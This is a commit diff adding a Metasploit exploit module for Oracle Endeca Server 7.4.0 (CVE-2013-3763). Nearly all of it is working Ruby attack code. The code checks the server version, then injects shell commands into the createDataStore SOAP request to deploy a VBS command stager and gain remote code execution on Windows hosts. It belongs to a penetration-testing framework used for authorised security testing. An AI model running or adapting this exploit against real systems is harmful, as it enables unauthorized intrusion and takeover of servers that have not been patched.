|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + include Msf::Exploit::CmdStagerVBS |
| 15 | + |
| 16 | + def initialize |
| 17 | + super( |
| 18 | + 'Name' => 'Oracle Endeca Server Remote Command Execution', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a command injection vulnerability on the Oracle Endeca |
| 21 | + Server 7.4.0. The vulnerability exists on the createDataStore method from the |
| 22 | + controlSoapBinding web service. The vulnerable method only exists on the 7.4.0 |
| 23 | + branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection |
| 24 | + has been found to be Windows specific. This module has been tested successfully |
| 25 | + on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits). |
| 26 | + }, |
| 27 | + 'Author' => [ |
| 28 | + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery |
| 29 | + 'juan vazquez' # Metasploit module |
| 30 | + ], |
| 31 | + 'Platform' => 'win', |
| 32 | + 'Arch' => ARCH_X86, # Using ARCH_X86 because it's compatible with CmdStagerVBS |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + [ 'CVE', '2013-3763' ], |
| 36 | + [ 'BID', '61217' ], |
| 37 | + [ 'OSVDB', '95269' ], |
| 38 | + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-190/' ], |
| 39 | + [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html' ] |
| 40 | + ], |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2', { } ] |
| 44 | + ], |
| 45 | + 'DefaultTarget' => 0, |
| 46 | + 'Privileged' => false, |
| 47 | + 'DisclosureDate' => 'Jul 16 2013' |
| 48 | + ) |
| 49 | + |
| 50 | + register_options( |
| 51 | + [ |
| 52 | + Opt::RPORT(7770), |
| 53 | + OptString.new('TARGETURI', [true, 'The URI path of the Control Web Service', '/ws/control']) |
| 54 | + ], self.class) |
| 55 | + end |
| 56 | + |
| 57 | + def peer |
| 58 | + return "#{rhost}:#{rport}" |
| 59 | + end |
| 60 | + |
| 61 | + def version_soap |
| 62 | + soap = <<-eos |
| 63 | +<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0"> |
| 64 | + <soapenv:Header/> |
| 65 | + <soapenv:Body> |
| 66 | + <ns:version/> |
| 67 | + </soapenv:Body> |
| 68 | +</soapenv:Envelope> |
| 69 | + eos |
| 70 | + |
| 71 | + return soap |
| 72 | + end |
| 73 | + |
| 74 | + def create_data_store_soap(name, files) |
| 75 | + soap = <<-eos |
| 76 | +<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0"> |
| 77 | + <soapenv:Header/> |
| 78 | + <soapenv:Body> |
| 79 | + <ns:createDataStore> |
| 80 | + <ns:dataStoreConfig> |
| 81 | + <ns:name>#{name}</ns:name> |
| 82 | + <ns:dataFiles>#{files}</ns:dataFiles> |
| 83 | + </ns:dataStoreConfig> |
| 84 | + </ns:createDataStore> |
| 85 | + </soapenv:Body> |
| 86 | +</soapenv:Envelope> |
| 87 | + eos |
| 88 | + |
| 89 | + return soap |
| 90 | + end |
| 91 | + |
| 92 | + def check |
| 93 | + |
| 94 | + res = send_request_soap(version_soap) |
| 95 | + |
| 96 | + if res.nil? or res.code != 200 or res.body !~ /versionResponse/ |
| 97 | + return Exploit::CheckCode::Safe |
| 98 | + end |
| 99 | + |
| 100 | + version_match = res.body.match(/<serverVersion>Oracle Endeca Server ([0-9\.]*) /) |
| 101 | + |
| 102 | + if version_match.nil? |
| 103 | + return Exploit::CheckCode::Unknown |
| 104 | + else |
| 105 | + version = version_match[1] |
| 106 | + end |
| 107 | + |
| 108 | + print_status("#{peer} - Version found: Oracle Endeca Server #{version}") |
| 109 | + |
| 110 | + if version =~ /7\.4\.0/ and version <= "7.4.0.787" |
| 111 | + return Exploit::CheckCode::Vulnerable |
| 112 | + end |
| 113 | + |
| 114 | + return Exploit::CheckCode::Safe |
| 115 | + |
| 116 | + end |
| 117 | + |
| 118 | + def send_request_soap(data) |
| 119 | + res = send_request_cgi({ |
| 120 | + 'uri' => target_uri.path, |
| 121 | + 'method' => 'POST', |
| 122 | + 'ctype' => 'text/xml; charset=utf-8', |
| 123 | + 'headers' => |
| 124 | + { |
| 125 | + 'SOAPAction' => "\"\"" |
| 126 | + }, |
| 127 | + 'data' => data |
| 128 | + }) |
| 129 | + |
| 130 | + return res |
| 131 | + end |
| 132 | + |
| 133 | + def exploit |
| 134 | + print_status("#{peer} - Exploiting by deploying a VBS CMD Stager...") |
| 135 | + # Windows 2008 Command Prompt Max Length is 8191 |
| 136 | + execute_cmdstager({ :delay => 0.35, :linemax => 7500 }) |
| 137 | + end |
| 138 | + |
| 139 | + def execute_command(cmd, opts) |
| 140 | + # To delete spaces priors to crlf lines since it is an observed behavior on Win 2008 |
| 141 | + cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\") : data = Replace(data, vbCrLf, \"\")") |
| 142 | + # HTML encode ampersands so SOAP is correctly interpreted |
| 143 | + cmd.gsub!(/&/, "&") |
| 144 | + injection = "c:\\"& #{cmd} &"" |
| 145 | + exploit_data = create_data_store_soap(rand_text_alpha(4), injection) |
| 146 | + begin |
| 147 | + res = send_request_soap(exploit_data) |
| 148 | + if res.nil? or res.code != 500 or res.body !~ /Error creating data files at/ |
| 149 | + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to execute the CMD Stager") |
| 150 | + end |
| 151 | + rescue ::Rex::ConnectionError |
| 152 | + fail_with(Failure::Unreachable, "#{peer} - Unable to connect") |
| 153 | + end |
| 154 | + end |
| 155 | + |
| 156 | +end |
0 commit comments